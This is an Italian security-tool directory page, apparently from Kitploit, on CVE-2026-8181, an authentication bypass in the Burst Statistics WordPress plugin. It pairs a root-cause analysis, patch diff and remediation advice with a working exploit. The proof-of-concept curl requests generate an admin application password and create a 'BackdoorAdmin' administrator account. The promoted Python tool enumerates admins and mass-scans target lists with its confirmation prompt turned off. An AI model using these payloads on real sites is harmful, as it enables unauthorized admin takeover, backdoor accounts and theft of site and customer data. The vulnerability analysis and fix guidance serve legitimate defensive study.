Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8181 — Il plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) per WordPress è vulnerabile al bypass dell'autenticazione. | Kitploit
Strumenti/GitHubGitHub/yucaerin/cve-2026-8181
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingAutenticazioneApprendimento e Formazione
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Il plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) per WordPress è vulnerabile al bypass dell'autenticazione.

Vedi Repository
113 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Bypass dell'autenticazione per il takeover dell'account amministratore

Riepilogo della vulnerabilità

Il plugin WordPress Burst Statistics versioni dalla 3.4.0 alla 3.4.1.1 è vulnerabile a un bypass dell'autenticazione non autenticato che porta al takeover completo dell'account amministratore. Questa falla critica consente a un aggressore non autenticato che conosce un qualsiasi nome utente amministratore di generare una password per applicazioni WordPress valida per quell'account in una singola richiesta HTTP, ottenendo accesso amministrativo persistente a tutto il sito.

La vulnerabilità deriva dalla funzione is_mainwp_authenticated() in class-mainwp-proxy.php. Questa funzione chiama wp_authenticate_application_password() e controlla solo se il risultato è un WP_Error. Non verifica se il risultato è effettivamente un oggetto WP_User riuscito. Quando il filtro interno di WordPress application_password_is_api_request restituisce — cosa che accade quando la chiamata viene effettuata al di fuori del normale flusso di autenticazione dell'API REST — la funzione WordPress restituisce invece di un o un . Poiché non è un , il controllo viene superato e l'utente amministratore scelto dall'aggressore viene impostato come utente corrente tramite .

false
null
WP_Error
WP_User
null
WP_Error
wp_set_current_user()

Una volta che l'utente corrente viene cambiato in un amministratore, i successivi controlli delle capacità vengono superati. L'aggressore può quindi raggiungere l'endpoint REST /burst/v1/mainwp-auth, che crea una password per applicazioni WordPress per l'account amministratore e la restituisce nella risposta. Questo concede all'aggressore un accesso amministrativo persistente e completo.

Plugin interessato

CampoValore
Nome PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Slug Pluginburst-statistics
Versioni Affette3.4.0 – 3.4.1.1
Versione Corretta3.4.2
ID CVECVE-2026-8181
Punteggio CVSS9.8 (Critico)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo di VulnerabilitàBypass dell'autenticazione (Autenticazione impropria)
CWECWE-287 — Autenticazione impropria
ImpattoTakeover completo del sito — Takeover dell'account amministratore

Cosa può fare un aggressore

CapacitàImpatto
Generare password per applicazioni per qualsiasi amministratoreAccesso amministrativo persistente
Creare nuovi account amministratore tramite l'API RESTProliferazione degli account
Installare plugin/temiEsecuzione di codice remoto
Modificare post, pagine e impostazioniDeturpazione del sito
Esportare o eliminare tutti i dati del sitoDistruzione/esfiltrazione dei dati
Accedere ai dati di WooCommerce/dei clientiViolazione dei dati

Analisi tecnica

Inizializzazione del plugin e gate vulnerabile

Burst Statistics si inizializza durante l'hook plugins_loaded di WordPress con priorità 9, all'interno di class-burst.php:

root@kitploit:~
// class-burst.php, linea 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() è il gatekeeper per tutte le funzionalità amministrative. Controlla l'intestazione X-BurstMainWP e chiama la funzione vulnerabile:

root@kitploit:~
// trait-admin-helper.php, righe 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

La funzione vulnerabile: is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, righe 313-342 (vulnerabile 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABILE: wp_authenticate_application_password() restituisce null
        // al di fuori del flusso di autenticazione dell'API REST
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Controlla solo se il risultato è un WP_Error. null NON è WP_Error → SUPERATO!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Perché wp_authenticate_application_password() restituisce null

La funzione interna di WordPress wp_authenticate_application_password() ha un filtro:

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Non è una richiesta API, salta l'autenticazione della password per app
}

Quando viene chiamata al di fuori del flusso di autenticazione dell'API REST, restituisce null. Il codice di Burst Statistics controllava solo is_wp_error($is_valid) — null non è un WP_Error, quindi il controllo viene superato in modo errato.

Percorso di esecuzione per il takeover dell'amministratore

  1. L'aggressore invia l'intestazione X-BurstMainWP: 1 con qualsiasi richiesta
  2. has_admin_access() attiva is_mainwp_authenticated()
  3. wp_authenticate_application_password() restituisce null (non in contesto API)
  4. is_wp_error(null) = false → controllo superato
  5. wp_set_current_user($admin_id) viene eseguito
  6. L'utente corrente ora è l'amministratore scelto
  7. L'aggressore invia una richiesta POST a /burst/v1/mainwp-auth
  8. handle_auth_request() genera una password per applicazioni WordPress
  9. Il token viene restituito come base64(username:app_password)
  10. L'aggressore utilizza questo token per l'accesso persistente all'API REST come amministratore

Analisi della patch (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, righe 399-415 (corretto 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Correzioni applicate:

  • Forza il filtro application_password_is_api_request a true in modo che avvenga la reale validazione della password
  • Controlla che il risultato sia un'istanza di WP_User (non null)
  • Usa hash_equals() per verificare la corrispondenza del nome utente

Inoltre, check_auth_permission() per l'endpoint REST è stato rafforzato per richiedere current_user_can('manage_burst_statistics') e la verifica esplicita del nonce per le richieste autenticate da cookie.

Proof of Concept

cURL manuale

root@kitploit:~
# Passo 1: Verificare che il target sia vulnerabile (genera una password per applicazioni)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Risposta: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Passo 2: Decodifica del token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Passo 3: Utilizzare la password per applicazioni per creare un nuovo amministratore
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Strumento di exploit Python

Lo script exploit_burst_statistics.py automatizza l'intera catena d'attacco:

  • Fase 0: Rilevamento versione tramite readme.txt, intestazione del plugin o stringhe di query degli asset
  • Fase 1: Enumerazione del nome utente amministratore tramite API REST, pagine autore o lista di nomi utente comuni
  • Fase 2: Bypass dell'autenticazione con X-BurstMainWP: 1 + falso Basic Auth per generare token
  • Fase 3: Verifica del token e validazione della struttura
  • Scanner di massa: Scansione multi-target con thread e registrazione in tempo reale dei target vulnerabili

Funzionalità dell'exploit

  • Non autenticato — nessun accesso preliminare richiesto
  • Singola richiesta HTTP per generare una password per applicazioni persistente
  • Rileva automaticamente la versione di Burst Statistics e salta i target patchati
  • Enumera automaticamente il nome utente amministratore se non fornito
  • Supporta sia permalink "pretty" (/wp-json/) che "ugly" (/?rest_route=)
  • Scansione di massa con ThreadPoolExecutor
  • Scrittura in file in tempo reale — i target vulnerabili vengono salvati immediatamente senza attendere il completamento della scansione
  • Blocco file thread-safe

Utilizzo

Singolo target (enumerazione automatica amministratore)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

Singolo target (nome utente amministratore noto)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

Scansione di massa

Crea targets.txt:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

Opzioni

FlagDescrizione
-t, --targetURL di un singolo target
-l, --listFile con l'elenco dei target (uno per riga)
-T, --threadsThread per la scansione di massa (default: 10)
-o, --outputFile di output per i risultati (default: result_burst_statistics.txt)
-u, --usernameNome utente amministratore noto (salta l'enumerazione)
-v, --verboseOutput di debug verboso
--timeoutTimeout della richiesta in secondi (default: 20)
--no-confirmSalta il prompt di conferma dei permessi

Raccomandazioni per la correzione

Per sviluppatori e proprietari di siti:

  1. Aggiornare immediatamente a Burst Statistics 3.4.2 o successiva
  2. Se non è possibile aggiornare, disabilitare temporaneamente il plugin
  3. Dopo l'aggiornamento, revocare tutte le password per applicazioni esistenti per gli account amministratore:
    • WP Admin → Utenti → [Amministratore] → Password per applicazioni → Revoca tutto
  4. Verificare la presenza di account amministratore non autorizzati o creazione di utenti inaspettata
  5. Controllare i log del server per richieste contenenti l'intestazione X-BurstMainWP: 1

Cronologia

DataEvento
2026-05-08CVE riservato
2026-05-11Fornitore notificato
2026-05-13Divulgazione pubblica
2026-05-13Patch rilasciata (v3.4.2)
2026-05-15Sfruttamento attivo segnalato in natura

Ricercatore

  • Crediti: Chloe Chamberland — Wordfence PRISM

Riferimenti

  • Avviso Wordfence
  • Record CVE
  • Diff della patch — class-mainwp-proxy.php
  • NVD

Disclaimer

Queste informazioni sono fornite esclusivamente a scopo didattico e per test di penetrazione autorizzati. Lo sfruttamento non autorizzato di sistemi informatici è illegale e non etico. Ottenere sempre un'autorizzazione esplicita e scritta prima di testare qualsiasi target che non si possiede.

Scarica lo strumento